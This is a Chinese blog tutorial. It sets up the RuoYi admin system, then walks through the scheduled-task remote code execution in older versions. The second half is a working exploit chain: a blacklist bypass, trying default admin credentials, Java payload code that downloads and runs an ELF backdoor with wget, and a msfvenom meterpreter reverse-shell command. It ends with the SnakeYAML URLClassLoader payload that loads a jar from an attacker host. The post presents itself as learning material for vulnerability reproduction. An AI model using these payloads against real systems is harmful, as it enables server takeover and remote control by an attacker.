若依后台系统搭建和RCE复现

很基础的一个漏洞复现和环境搭建,希望能让部分人学习

Windows安装

环境:

  • IDEA
  • Java 1.8.0_152
  • Mysql 5.7.26
  • Apache-Maven-3.8.4
  • Windows 10 家庭版

下载

若依后台系统下载:https://gitee.com/y_project/RuoYi/tree/master/

点击master->标签然后下载存在漏洞的版本即可

若依后台系统搭建和RCE复现-

Apache-Maven-3.8.4中间件下载:https://maven.apache.org/download.cgi 百度云盘链接:https://pan.baidu.com/s/1kZ_QYTBp2kMLPIAe7CJVAA?pwd=rv7j

若依后台系统搭建和RCE复现-

下载好之后解压到一个目录,并且修改里面的配置文件

若依后台系统搭建和RCE复现-

修改conf目录下settings.xml

若依后台系统搭建和RCE复现-

这里是绝对路径,目录存放的是等会maven下载的lib包

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <pluginGroups>
  </pluginGroups>
  <proxies>
  </proxies>
  <servers>
  </servers>
  <mirrors>
    <mirror>
      <id>mirrorId</id>
      <mirrorOf>repositoryId</mirrorOf>
      <name>Human Readable Name for this Mirror.</name>
      <url>http://my.repository.com/repo/path</url>
    </mirror>
    <!-- 添加国内镜像源 -->
    <mirror>
      <id>nexus-aliyun</id>
      <mirrorOf>*</mirrorOf>
      <name>Nexus aliyun</name>
      <url>http://maven.aliyun.com/nexus/content/groups/public</url>
    </mirror>
<mirror>
        <id>alimaven</id>
        <name>aliyun maven</name>
        <url>https://maven.aliyun.com/repository/public</url>
        <mirrorOf>central</mirrorOf>
    </mirror>
  </mirrors>
  <!--本地仓库位置修改  -->
  <localRepository>E:\JavapProject\TestMaven</localRepository>
  <profiles>
  </profiles>
</settings>

可以直接复制这个settings.xml,里面添加了国内镜像源,这样下载lib包也会更快

配置IDEA

使用IDEA打开Ruoyi项目,来到设置File->Settings

若依后台系统搭建和RCE复现-

来到Maven的配置页面,把这两个配置信息选上

若依后台系统搭建和RCE复现-
  • 第一个是刚刚修改的Maven的xml文件路径
  • 第二个是Maven下载lib包存放的目录,要跟xml里面的路径一致

点击OK之后就会开始下载,刚刚设置的本地仓库目录里面也有下载的lib包

若依后台系统搭建和RCE复现-

如果没有下载的话点击右侧的Maven,然后按刷新按钮

若依后台系统搭建和RCE复现-

等待片刻,下载完成之后可能会有六个感叹号,不用管他

若依后台系统搭建和RCE复现-

配置Mysql数据库

创建一个名为ry的数据库,并且把sql目录下的两个.sql文件都导入进去

若依后台系统搭建和RCE复现-

修改数据库配置信息位置:ruoyi-admin/src/main/resources/application-druid.yml

若依后台系统搭建和RCE复现-

修改usernamepassword,对应的就是数据库用户和密码 localhost:3306/ry这里的ry就是库名,如果库名不是ry就在这里修改成对应的库名

这里数据库是本地就填写localhost,如果是远程服务器就填写对应IP

application.yml里面可以修改Web服务的端口号

若依后台系统搭建和RCE复现-

运行RuoYi

运行这个文件ruoyi-admin/src/main/java/com.ruoyi/RuoYiApplication.java 右键run

若依后台系统搭建和RCE复现-

看到若依启动成功就可以访问了,默认的密码是admin/admin123

若依后台系统搭建和RCE复现-

Linux安装

环境

  • Centos7 64位
  • Mysql 5.7
  • Java 1.8.0_171

首先Mysql数据库也需要导入那两个.sql文件

若依后台系统搭建和RCE复现-

然后我们在本地将项目打包

配置maven环境变量

若依后台系统搭建和RCE复现-
  • 变量名:MAVEN-HOME
  • 变量值:maven目录
若依后台系统搭建和RCE复现-

在系统变量Path中里面加上%MAVEN_HOME%\bin

若依后台系统搭建和RCE复现-

终端输入mvn -version

若依后台系统搭建和RCE复现-

打包成jar

若依非常银性给到了一键打包的批处理脚本,来到RuoYi目录下的bin目录中

打包前记得在配置文件中修改好Linux对应的数据库账号密码和库名

若依后台系统搭建和RCE复现-

以管理员权限分别运行第一个clean.bat批处理脚本文件和第二个package.bat批处理脚本文件

说人话就是先运行第一个,结束了再运行二个

此时在RuoYi/ruoyi-admin/target目录下有个ruoyi-admin.jar

若依后台系统搭建和RCE复现-

这个就是一会在Linux上跑的jar

Centos7安装java1.8

这里累了,不写了,参考我的Blog:https://blog.333ling.com/index.php/archives/688/

运行

jar包放上去之后,mysql服务正常启动,就可以直接运行了

关闭防火墙

systemctl stop firewalld.service

启动

java -jar ruoyi-admin.jar
若依后台系统搭建和RCE复现-

后台-定时任务RCE

  • 版本:RuoYi < 4.6.2

首先我们需要进入到若依管理系统后台,可以尝试弱口令admin/admin123 进入后台之后来到系统监控->定时任务

若依后台系统搭建和RCE复现-

首先新增一个定时任务,调用目标字符串只填写http测试一下该框架是否存在漏洞范围内

若依后台系统搭建和RCE复现-

因为在Ruoyi > 4.7.2以后的版本,调用目标字符串禁止http https ldap rmi协议 我们可以在RuoYi-4.7.3SysJobController.java中看到他的判断

若依后台系统搭建和RCE复现-

ctrl选中,可以跟踪过来看看

若依后台系统搭建和RCE复现-

4.6.2 <= Ruoyi < 4.7.2中,字符串的限制可以通过h’t’t’p的方式进行绕过 但是在Ruoyi > 4.7.2以后的版本,拉黑了更多违规字符串

若依后台系统搭建和RCE复现-

定时任务成功添加带有http的字符串之后就可以进行漏洞利用了

若依后台系统搭建和RCE复现-

漏洞复现

Payload下载地址:https://github.com/artsploit/yaml-payload

来到src/artsploit编辑AwesomeScriptEngineFactory.java这个文件内容

若依后台系统搭建和RCE复现-

我这里根据土司一位师傅,进行了修改https://www.t00ls.com/viewthread.php?tid=65843

public AwesomeScriptEngineFactory() throws Exception{
            String [] cmd={"/bin/sh","-c","wget http://192.168.0.1/config.elf && chmod +x config.elf && ./config.elf"};
            Class processimpl=Class.forName("java.lang.ProcessImpl");
            java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            m1.setAccessible(true);
            Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
    }

这一处就是执行命令的关键代码,由于不懂java,所以不能详细给师傅讲解代码意思了

若依后台系统搭建和RCE复现-

将要执行的命令放到cmd数组中,Wget下载elf后门,给可执行权限并运行 当然不局限于这种方式,比如bash nc反弹shell都是可以的,可以随意发挥

msf生成后门

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.2.107 lport=5555 -f elf -o /root/config.elf

不上线但是成功下载了的话可能对方linuxx86的,更换为x86payload即可,或者不出网

http请求链接替换成自己的后门下载链接

若依后台系统搭建和RCE复现-

监听一下

若依后台系统搭建和RCE复现-

制作jar包

编译刚刚编辑的java文件

javac AwesomeScriptEngineFactory.java

编译完会提示使用了未经检查或不安全的操作并让我们重新编译,不用管他,继续下一步

若依后台系统搭建和RCE复现-

来到目录最上层,打包成jar

jar -cvf yaml-msf-linux.jar -C src/ .
若依后台系统搭建和RCE复现-

这个jar包就是我们一会需要在定时任务加载的,放到Web服务器上,并且修改http请求地址,确保目标机器可以请求到

若依后台系统搭建和RCE复现-

这里可以还使用ldap rmi协议,但是不知道ldaprmi服务怎么起,有师傅的能教教吗

Payload

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.2.107/yaml-msf-linux.jar"]]]]')

修改调用目标字符串为我们的Payload

若依后台系统搭建和RCE复现-

保存,点击更多操作->执行一次

若依后台系统搭建和RCE复现-

web服务器接收到两个下载,并且msf成功收到session

若依后台系统搭建和RCE复现-

至此,完事。!

© 版权声明
THE END
喜欢就支持一下吧
点赞13